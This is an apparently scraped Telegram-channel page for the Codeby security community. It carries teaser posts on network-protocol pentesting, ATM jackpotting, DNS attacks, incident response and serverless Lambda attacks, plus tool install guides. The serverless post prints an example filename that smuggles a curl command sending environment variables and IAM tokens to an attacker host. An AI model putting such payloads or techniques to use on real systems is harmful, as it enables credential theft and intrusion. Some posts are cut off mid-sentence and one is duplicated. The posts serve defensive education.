Codeby
Блог сообщества Кодебай Чат: @codeby_one Форум: codeby.net Обучение: codeby.academy CTF: hackerlab.pro VK: vk.com/codeby YT: clck.ru/XG99c Сотрудничество: @KinWiz Реклама: @Savchenkova_Valentina
Больше📈 Аналитический обзор Telegram-канала Codeby
Канал Codeby (@codeby_sec) языкового сегмента Русский является активным участником. Сейчас сообщество объединяет 36 558 подписчиков, занимая 3 751 место в категории Технологии и приложения и 17 801 место в регионе Россия.
📊 Показатели аудитории и динамика
С момента создания невідомо проект демонстрирует стремительный рост, собрав аудиторию из 36 558 подписчиков.
Согласно последним данным от 05 июня, 2026, канал показывает стабильную активность. За последние 30 дней изменение числа участников составило 202, а за последние 24 часа — 11, при этом общий охват остаётся высоким.
- Статус верификации: Не верифицирован
- Уровень вовлечённости (ER): Средний показатель вовлечённости аудитории составляет 7.69%. В первые 24 часа после публикации контент обычно набирает 4.19% реакций от общего числа подписчиков.
- Охват публикаций: В среднем каждый пост получает 2 813 просмотров. В течение первых суток публикация набирает 1 532 просмотров.
- Реакции и взаимодействия: Аудитория активно поддерживает контент: среднее количество реакций на один пост — 19.
- Тематические интересы: Контент сосредоточен на ключевых темах, таких как edr, api, вектор, mitre, att&ck.
📝 Описание и контентная политика
Автор описывает ресурс как площадку для выражения субъективного мнения:
“Блог сообщества Кодебай
Чат: @codeby_one
Форум: codeby.net
Обучение: codeby.academy
CTF: hackerlab.pro
VK: vk.com/codeby
YT: clck.ru/XG99c
Сотрудничество: @KinWiz
Реклама: @Savchenkova_Valentina”
Благодаря высокой частоте обновлений (последние данные получены 07 июня, 2026) канал поддерживает актуальность и высокий уровень охвата публикаций. Аналитика показывает, что аудитория активно взаимодействует с контентом, что делает его важной точкой влияния в категории Технологии и приложения.
passwords.xlsx в открытом виде — домен скомпрометирован. Три сервиса, ни один не настроили. Сложных эксплойтов не понадобилось.
Это не редкость, а типичная картина. Протоколы вроде SMB, FTP, SNMP и SMTP существуют десятилетиями, и именно поэтому их конфигурации часто остаются «как было при установке». Админы фокусируются на WAF и EDR, а дефолтный public на SNMP живёт годами.
🔎SNMP — часто самый недооценённый вектор. Community string — по сути пароль для доступа к информации об устройстве. На огромном количестве оборудования стоит public для чтения и private для записи. Одна команда — и вы читаете конфигурацию маршрутизаторов, коммутаторов, серверов. Имена хостов, сетевые интерфейсы, список процессов — всё это отличная стартовая точка для дальнейшего продвижения по сети.
SMB — классика внутреннего пентеста. Два ключевых момента:
⏺️Анонимный доступ к шарам — файлы с паролями, конфиги, бэкапы баз лежат в открытом виде чаще, чем хочется верить
⏺️SMB signing отключён на рабочих станциях — до Windows 11 24H2 подпись пакетов включена, но не обязательна. Это открывает дверь для SMB relay: перехватил запрос аутентификации, перенаправил на другой хост, получил доступ
Отдельная история — NTLM-хеши. Windows хранит не пароль, а его хеш. Зная хеш, можно аутентифицироваться без самого пароля (Pass-the-Hash). Расшифровывать ничего не нужно.
✉️ SMTP тоже не отстаёт. Open relay — почтовый сервер, который пересылает письма от кого угодно кому угодно. Фишинговое письмо с настоящего IP компании проходит базовые проверки на ура.
Что объединяет все эти сервисы? Проблема не в протоколах, а в конфигурации. Каждый из них можно настроить безопасно — но этого часто не делают.
🎇В полной версии статьи — пошаговая разведка через Nmap, конкретные команды для эксплуатации каждого протокола, инструкция по развёртыванию лаборатории на Metasploitable 2 и детальный разбор техник. Читайте и практикуйте в безопасной среде.
https://codeby.net/threads/ataki-na-setevyye-protokoly-pri-penteste-ekspluatatsiya-smb-ftp-snmp-i-smtp.93694/WFSExecute напрямую к диспенсеру — минуя бэкенд и процессинг. Для банка эта операция просто не существует.
Ploutus подменяет библиотеку msxfs.dll, прописывается в автозагрузку через ключ реестра Userinit и активируется по mule-кодам с внешней USB-клавиатуры. Скрытый интерфейс показывает содержимое кассет, скорость выдачи — свыше 100 купюр в минуту. Банкомат можно опустошить менее чем за 10 минут.
Есть и второй метод — black-box. Тут ОС вообще не трогают: штатный системный блок отключают от диспенсера, подключают одноплатник или ноутбук напрямую к шине и шлют команды выдачи, имитируя контроллер.
⚡ Что может сделать SOC? Три конкретных шага:
• Тамперный датчик на вскрытие корпуса должен генерировать P1-алерт в SIEM с автоматическим блокированием сетевого порта через NAC. Без этой связки между физическим и логическим мониторингом — слепая зона размером с весь ATM-парк.
• Application whitelisting на каждом банкомате. Если бинарь не в белом списке — он не запустится. Kaspersky Embedded Systems Security или Trellix Application Control при корректной настройке закрывают малварный вектор.
• Шифрование XFS-канала между middleware и диспенсером. Последние поколения NCR это поддерживают — без валидных ключей black-box становится бесполезен.
🔍 Отдельный риск — инсайдер. Скомпрометированный сотрудник подрядчика ставит малварь при плановом визите. Легитимный доступ, легитимные инструменты — тут спасает только dual-control и жёсткий контроль на уровне СКУД.
Тема глубже, чем кажется: shimming POS-терминалов, detection-правила под MITRE ATT&CK, конкретные маппинги техник — всё это разобрано в полной статье на форуме.
https://codeby.net/threads/pentest-bankomatov-i-pos-terminalov-jackpotting-shimming-i-detection-dlya-soc.93681/WaspSting - это инструмент командной строки на Python для белого тестирования на проникновение, поиска уязвимостей и проведения исследований в области безопасности. Он решает одну из самых трудоемких задач пентестинга - документирование - автоматически генерируя структурированные отчеты, шаблоны доказательств и планы тестирования по мере вашей работы.📐Возможности: 📉Автоматическая документация - шаблоны для заполнения доказательств по каждой обнаруженной уязвимости, отчет создается автоматически 📉Перечисление поддоменов - crt.sh + HackerTarget + перебор DNS 📉Галерея ресурсов - скриншоты + метаданные каждого обнаруженного поддомена 📉Фаззер полезных нагрузок - SQLi, XSS, SSTI, SSRF, внедрение запросов, обход пути + пользовательские списки слов 📉Уведомления в реальном времени - веб-хуки Slack/Discord + автоматические задачи GitHub, создаваемые на основе обнаруженных уязвимостей 📉Локальный ИИ через Ollama - проверка кода + информация bug bounty, без ключа API, ничего не покидает ваш компьютер 📉HTML-отчет для руководителей - оценка риска, диаграммы серьезности, фильтруемая таблица обнаруженных уязвимостей 📉Конфигурация Burp Suite Community - предварительно настроенные области действия, полезные нагрузки и запросы Repeater 🖱Поиск CVE в NVD - без необходимости в ключах ⬇️Установка: 0️⃣Клонируем репозиторий и переходим в рабочую директорию:
git clone https://github.com/N00dleN00b/waspsting.git
cd waspsting
1️⃣Создаём виртуальное окружение venv:
python -m venv venv
source venv/bin/activate
2️⃣Установка зависимостей:
pip install -r requirements.txt
3️⃣Установка локальной ИИ (olama):
curl -fsSL https://ollama.ai/install.sh | sh
ollama pull llama3
ollama serve
4️⃣Устанавливаем chromium для скриншотов (не обязательно):
sudo apt install chromium
⛓️💥Запуск:
▶️Сканирование цели:
python waspsting.py -t {URL}
▶️Статический анализ кода:
python waspsting.py --repo https://github.com/{username}/{repo} --mode sast
▶️Проверка на наличие уязвимостей (Recon + CVE) в вашем собственном приложении:
python waspsting.py --target {URL} --mode recon --cve --confirm
▶️Перечисление поддоменов:
python waspsting.py --target {URL} --mode enum --screenshot --confirm
▶️Планировщик Bug Bounty:
python waspsting.py --mode bounty
▶️Аудит аутентификации:
python waspsting.py -t {URL} --mode auth --wordlist {WORDLIST} --confirm
#web #wapt #nmap
🔗 Все наши каналы 🔁 Все наши чаты 🪧 Для связи с менеджеромAiSOC — open-source инструмент, который использует LLM для помощи аналитикам SOC, threat hunters и incident responders.Позволяет анализировать логи, события безопасности, IOC, правила детекта и ускорять расследование инцидентов с помощью AI.Основные возможности 📉 AI-анализ security событий и логов 📉 Поиск IOC, TTP и аномалий 📉 Генерация гипотез для threat hunting 📉 Анализ SIEM алертов и telemetry 📉 Генерация Sigma/YARA detection rules 📉 Помощь при incident response 🖱 Интеграция с SOC workflow 🛡 Примеры использования One-click установка
# Linux + macOS (one-liner):
curl -fsSL https://raw.githubusercontent.com/beenuar/AiSOC/main/install.sh | bash
# Windows (PowerShell as Administrator):
iwr -useb https://raw.githubusercontent.com/beenuar/AiSOC/main/install.ps1 | iex
Локальный demo запуск (Docker):
git clone https://github.com/beenuar/AiSOC.git && cd AiSOC && pnpm aisoc:demo
Типичные сценарии
▶️ Анализ подозрительных логов
▶️ Разбор SIEM алертов
▶️ Threat hunting с помощью AI
▶️ Генерация detection rules
▶️ Анализ IOC и TTP
👉 Deploy на Fly io
git clone https://github.com/beenuar/AiSOC.git && cd AiSOC
./infra/fly/fly-demo-deploy.sh --provision
#soc #threathunting #incidentresponse #ai #llm #siem #blueteam #dfir #cybersecurity #opensource
🔗 Все наши каналы 🔁 Все наши чаты 🪧 Для связи с менеджеромdig axfr на вторичный NS — и получаете 340+ DNS-записей за четыре минуты. Имена хостов вроде dc01-prod, jenkins-build, vault-backup — готовая карта инфраструктуры. От этого дампа до domain admin — три дня. Реальный кейс, реальная пропорция.
DNS — протокол, который все считают скучным. А он работает поверх UDP без шифрования и без аутентификации ответов. Из этого растут почти все атаки.
🔎Пассивная разведка — начинай с неё, чтобы не светиться в логах цели. Certificate Transparency Logs через crt.sh отдают субдомены, для которых выпускались SSL-сертификаты. Passive DNS базы вроде SecurityTrails хранят историю резолвов — субдомен, который больше не резолвится, но когда-то указывал на IP, может стать вектором subdomain takeover. subfinder от ProjectDiscovery автоматизирует сбор из десятков источников одной командой.
🎇Zone transfer — первое, что проверяется на engagement. Важный нюанс: проверяй каждый NS отдельно. Первичный может быть закрыт, а вторичный — legacy-BIND с дефолтной конфигурацией, где AXFR разрешён для любого IP. На практике именно вторичные NS чаще оказываются misconfigured — их просто забывают.
➡️Когда zone transfer закрыт, переходи к словарному перебору субдоменов. dnsenum и dnsrecon комбинируют попытку AXFR с брутфорсом по словарю и reverse lookup. Для bug bounty с широким скоупом лучше связка amass + subfinder + dnsx с дедупликацией.
➡️Отдельная история — внутренний пентест и Active Directory. SRV-записи для Kerberos и LDAP выдают контроллеры домена напрямую: dig -t SRV _ldap._tcp.dc._msdcs.domain.com. Эти записи нужны самому AD для работы — удалить их нельзя. По сути, DNS в AD — встроенный инструмент разведки для атакующего.
Но разведка — только начало. Cache poisoning строится на том, что Transaction ID в DNS — всего 16 бит. Угадай его и отправь поддельный ответ быстрее настоящего сервера — резолвер примет фальшивые данные. DNS rebinding позволяет обходить same-origin policy браузера, а DNS туннелирование — выносить данные из сетей, где заблокировано всё, кроме DNS.
В полной статье — разбор каждой техники с командами, ограничениями, привязкой к MITRE ATT&CK и decision tree по выбору инструментов. Читай на форуме Codeby ⬇️
https://codeby.net/threads/dns-pentest-ot-razvedki-i-zone-transfer-do-cache-poisoning-rebinding-i-tunnelirovaniya.93673/' ' протоколами при анализе сетевой инфраструктуры
⏺️AI in-the-loop — как генеративный AI в связке с привычными инструментами помогает находить новые уязвимости
Huge Impact - находки на внешних периметрах, которые приводили к максимальному ущербу за прошедший год:
▶️захват кассовых аппаратов
▶️снова Bitrix: RCE в кастомных доработках
▶️поиск иголки в стоге сена магистральных провайдеров
▶️«Большой брат»: захват систем видеонаблюдения
▶️секретный доклад
Также будут доклады от партнёров конференции: Сбербанк, Xello, Mitigator, Indeed.
Активности:
Lockpicking (физический взлом замков)
RFID и NFC-эксперименты
Соревновательный OSINT
Конкурс по обходу фильтров антифишинга
И отдельный бонус для тех, кто скучал по олдскулу: демосцена и ретро-компьютинг. ZX Spectrum, Commodore 64, Commodore Amiga, Микроша, Atari, лучшие intro/demo и турнир по DOOM II.
Участие бесплатное, но регистрация обязательна!
🔗 ССЫЛКА НА РЕГИСТРАЦИЮИнструмент, предоставляющий возможность простого и безопасного способа отправки файлов с одного компьютера на другой.Инструмент позволяет выполнять следующие функции: ▶️Позволяет любым двум компьютерам передавать данные (через ретрансляционный сервер); ▶️Обеспечивает сквозное шифрование (с использованием PAKE); ▶️Облегчает кроссплатформенную передачу (Windows, Linux, Mac); ▶️Поддерживает передачу множества файлов; ▶️Позволяет возобновлять прерванные передачи; ▶️Не требует локального сервера или проброса портов; ▶️Приоритет IPv6 с резервным использованием IPv4; ▶️Может использовать прокси, например Tor. ⬇️Установить можно в одну команду через Docker.
croc() { [ $# -eq 0 ] && set -- ""; mkdir -p "$HOME/.config/croc"; docker run --rm -it --user "$(id -u):$(id -g)" -v "$(pwd):/c" -v "$HOME/.config/croc:/.config/croc" -w /c -e CROC_SECRET docker.io/schollz/croc "$@"; }
Использование
0️⃣ Чтобы отправить файл необходимо после команды send указать до него путь и ввести кодовую фразу.
Для получения файла просто необходимо ввести ту же кодовую фразу.
Кодовая фраза используется для установления соглашения о ключах с аутентификацией по паролю, в рамках которого генерируется секретный ключ для отправителя и получателя, используемый для сквозного шифрования.
1️⃣ В Linux и macOS процесс отправки и получения данных немного отличается. Чтобы избежать утечки секретных данных через имя процесса необходимо запустить croc с секретными данными в качестве переменной среды. Например, чтобы получить файл с секретом ***:
CROC_SECRET=*** croc2️⃣ Отправка нескольких файлов
croc send [file1] [file2] [file3] [folder1] [folder2]3️⃣ Отправка текста
croc send --text "hello world"4️⃣ Изменение алгоритма хэширования на imohash
croc send --hash imohash SOMEFILE
#security #tools #share
🔗 Все наши каналы 🔁 Все наши чаты 🪧 Для связи с менеджеромdig axfr на вторичный NS — и получаете 340+ DNS-записей за четыре минуты. Имена хостов вроде dc01-prod, jenkins-build, vault-backup — готовая карта инфраструктуры. От этого дампа до domain admin — три дня. Реальный кейс, реальная пропорция.
DNS — протокол, который все считают скучным. А он работает поверх UDP без шифрования и без аутентификации ответов. Из этого растут почти все атаки.
🔎 Пассивная разведка — начинай с неё, чтобы не светиться в логах цели. Certificate Transparency Logs через crt.sh отдают субдомены, для которых выпускались SSL-сертификаты. Passive DNS базы вроде SecurityTrails хранят историю резолвов — субдомен, который больше не резолвится, но когда-то указывал на IP, может стать вектором subdomain takeover. subfinder от ProjectDiscovery автоматизирует сбор из десятков источников одной командой.
➡️ Zone transfer — первое, что проверяется на engagement. Важный нюанс: проверяй каждый NS отдельно. Первичный может быть закрыт, а вторичный — legacy-BIND с дефолтной конфигурацией, где AXFR разрешён для любого IP. На практике именно вторичные NS чаще оказываются misconfigured — их просто забывают.
➡️Когда zone transfer закрыт, переходи к словарному перебору субдоменов. dnsenum и dnsrecon комбинируют попытку AXFR с брутфорсом по словарю и reverse lookup. Для bug bounty с широким скоупом лучше связка amass + subfinder + dnsx с дедупликацией.
🎇Отдельная история — внутренний пентест и Active Directory. SRV-записи для Kerberos и LDAP выдают контроллеры домена напрямую: dig -t SRV _ldap._tcp.dc._msdcs.domain.com. Эти записи нужны самому AD для работы — удалить их нельзя. По сути, DNS в AD — встроенный инструмент разведки для атакующего.
Но разведка — только начало. Cache poisoning строится на том, что Transaction ID в DNS — всего 16 бит. Угадай его и отправь поддельный ответ быстрее настоящего сервера — резолвер примет фальшивые данные. DNS rebinding позволяет обходить same-origin policy браузера, а DNS туннелирование — выносить данные из сетей, где заблокировано всё, кроме DNS.
В полной статье — разбор каждой техники с командами, ограничениями, привязкой к MITRE ATT&CK и decision tree по выбору инструментов. Читай на форуме Codeby ⬇️
https://codeby.net/threads/dns-pentest-ot-razvedki-i-zone-transfer-do-cache-poisoning-rebinding-i-tunnelirovaniya.93673/YYYY-MM-DD HH:MM:SS UTC. Если источник пишет в локальной зоне — конвертируй явно с указанием исходной.
2. Гранулярность зависит от фазы. Initial access и lateral movement — секунды. Восстановление — часы.
3. Каждая строка привязана к артефакту: лог SIEM, дамп памяти, pcap, скриншот EDR. Запись без источника — голословное утверждение, которое страховая просто вычеркнет.
Отдельная боль — IOC-приложения. Хэши, домены, IP-адреса без контекста и категоризации бесполезны. Как правильно оформить IOC-лист, выстроить timeline и собрать отчёт, который выдержит проверку аудитом и страховой — разобрали в полной версии статьи.
https://codeby.net/threads/ir-otchet-po-intsidentu-struktura-timeline-i-ioc-prilozheniya-dlya-biznesa-i-tekhkomandy.93675/JADX — инструмент для преобразования Android-файлов (APK, DEX, AAR, AAB) в читаемый Java-код. Разработанный на Java, он позволяет анализировать внутреннее устройство Android-приложений без доступа к исходному коду.👉Основные возможности ▶️Преобразование файлов APK, DEX, AAR, AAB, ZIP и Class в Java-код ▶️Извлечение и декодирование AndroidManifest.xml и других ресурсов из resources.arsc ▶️Встроенный механизм для восстановления читаемых имен классов, методов и полей ▶️Поддержка отладки на уровне smali-кода (требует дополнительной настройки) ⬇️Установка
sudo apt install jadx
Проверка
jadx -h
⏺️Декомпиляция APK-файла в директорию out
jadx -d out app.apk
⏺️Анализ безопасности приложения
jadx -d decompiled --deobf --show-bad-code suspicious.apk
⏺️Быстрый просмотр через GUI
jadx-gui app.apk
⏺️Обработка нескольких DEX-файлов
jadx -d out classes1.dex classes2.dex classes3.dex
🔎Инструмент незаменим для:
- Анализа вредоносного ПО
- Исследования работы проприетарных библиотек
- Восстановления утерянного исходного кода
- Обучения принципам работы Android-приложений
#jadx #android #decompiler #androidsecurity #pentest #tool
🔗 Все наши каналы 🔁 Все наши чаты 🪧 Для связи с менеджеромpowershell.exe или wmic, не триггерит стандартные правила корреляции. Он выглядит как легитимный администратор.
📊 Ещё одна цифра от IBM X-Force 2025: самый распространённый тип малвари сегодня — инфостилеры (32%), они обогнали шифровальщиков. А среднее время между публикацией CVE и устранением уязвимости в организации — 29 месяцев. Два с половиной года. Атакующим не нужны zero-day, когда окно открыто настолько широко.
⚙️ Расследование кибератаки — управляемый процесс с чёткими фазами. Два основных фреймворка — NIST SP 800-61 и SANS — описывают одну и ту же логику разными словами:
1. Подготовка — IR-план, playbook, инструменты наготове
2. Обнаружение и анализ — triage алерта, определение скоупа
3. Сдерживание — изоляция хоста, сегмента, учётки
4. Устранение и восстановление — очистка, пересоздание, возврат в продакшн
5. Разбор полётов — отчёт, timeline, IOC-приложения
Ключевое различие: NIST объединяет шаги 3-4, потому что на практике они идут параллельно. Вы изолируете один сегмент и тут же чистите соседний. SANS разбивает их последовательно, что удобнее для команд, которые строят процесс с нуля.
Но выбор фреймворка вторичен. Критично другое — сам факт наличия документированного плана. Без него каждый инцидент превращается в импровизацию, где теряются артефакты, затираются логи и уничтожаются доказательства.
🎯 Практический чеклист на первые 30 минут:
• Подтвердить алерт — это true positive?
• Определить скоуп — один хост или сегмент?
• Изолировать, не выключая — сохранить содержимое RAM
• Зафиксировать время — таймлайн начинается сейчас
Мы собрали полную карту Incident Response — от первого алерта до финального отчёта, с разбором форензики, анализа памяти, threat hunting и реальных кейсов. Все детали — в полной статье.
https://codeby.net/threads/rassledovaniye-kiberataki-polnaya-karta-incident-response-ot-obnaruzheniya-do-otcheta.93680/os.system(). Атакующий загружает файл с именем вроде ; curl attacker.com/exfil?d=$(env)#.csv — и переменные окружения с IAM-токенами утекают за одно исполнение. Одно. Миллисекунды. Причём WAF тут не спасёт: он защищает HTTP-уровень через API Gateway, но event injection через SQS или SNS идёт в обход — payload лезет через окно, пока WAF сторожит дверь.
• Privilege escalation через IAM-роли. Если у атакующего есть iam:PassRole и lambda:UpdateFunctionCode, он может подменить код существующей функции и привязать к ней роль с широкими правами. На пентесте 12 из 47 функций имели execution role с Action: "*" на S3 и DynamoDB. Это не edge-case, а типичная картина — разработчики назначают максимальные права «чтобы работало» и забывают ужать.
• Persistence через триггеры. Атакующий создаёт EventBridge-правило, которое вызывает вредоносную функцию при каждом создании IAM-пользователя или загрузке файла. Lambda как эфемерный C2-сервер: получает команды, передаёт на скомпрометированные хосты, завершается. Следов в файловой системе нет, потому что файловой системы нет.
📊 По данным Cloud Security Alliance, более 70% организаций до сих пор не имеют выделенных контролей для serverless-окружений. При этом рынок serverless-безопасности уже перевалил за 12 млрд долларов — деньги вкладываются, но зрелость detection отстаёт на годы.
🛡 Что проверить прямо сейчас:
1. Есть ли в ваших Lambda-функциях вызовы os.system() или subprocess с пользовательским вводом?
2. Execution roles — минимальные привилегии или wildcard?
3. Настроены ли алерты на UpdateFunctionCode и iam:PassRole в CloudTrail?
В полной статье — разбор конкретных цепочек атак с примерами кода, detection-правилами для SIEM и чек-листом для харденинга.
https://codeby.net/threads/ataki-na-serverless-funktsii-injection-event-poisoning-i-privilege-escalation.93670/
Уже доступно! Исследование Telegram 2025 — ключевые инсайты года 
